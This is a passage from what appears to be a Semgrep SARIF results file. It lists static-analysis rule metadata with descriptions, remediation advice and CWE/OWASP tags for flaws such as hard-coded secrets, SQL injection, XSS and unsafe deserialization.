[https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url","id":"rust.secrets.diesel.pg-connection-url.pg-connection-url","name":"rust.secrets.diesel.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Proxy declares a state var that may override a storage slot of the implementation"},"help":{"markdown":"Proxy declares a state var that may override a storage slot of the implementation\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision)\n - [https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22](https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22)\n","text":"Proxy declares a state var that may override a storage slot of the implementation"},"helpUri":"https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision","id":"solidity.security.proxy-storage-collision.proxy-storage-collision","name":"solidity.security.proxy-storage-collision.proxy-storage-collision","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.proxy-storage-collision.proxy-storage-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"help":{"markdown":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string)\n - [https://github.com/golang/go/issues/9200#issuecomment-66100328](https://github.com/golang/go/issues/9200#issuecomment-66100328)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","id":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","name":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","id":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","name":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","id":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","name":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","id":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","name":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","id":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","name":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `errors` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `errors` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1)\n","text":"the `errors` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1","id":"python.lang.compatibility.python36.python36-compatibility-Popen1","name":"python.lang.compatibility.python36.python36-compatibility-Popen1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"help":{"markdown":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup)\n - [https://tedboy.github.io/flask/generated/generated/flask.Markup.html](https://tedboy.github.io/flask/generated/generated/flask.Markup.html)\n","text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","id":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","name":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","id":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","name":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","id":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","name":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli","id":"javascript.aws-lambda.security.knex-sqli.knex-sqli","name":"javascript.aws-lambda.security.knex-sqli.knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.knex-sqli.knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Webhook detected"},"help":{"markdown":"Slack Webhook detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook)\n - [https://api.slack.com/messaging/webhooks](https://api.slack.com/messaging/webhooks)\n","text":"Slack Webhook detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook","id":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","name":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-webhook.detected-slack-webhook"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","id":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","name":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"help":{"markdown":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.create-with.create-with)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ](https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ)\n","text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.create-with.create-with","id":"ruby.lang.security.create-with.create-with","name":"ruby.lang.security.create-with.create-with","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.create-with.create-with"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"help":{"markdown":"Property decoded from JWT token without verifying and cannot be trustworthy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property)\n - [https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html)\n","text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","id":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","name":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument 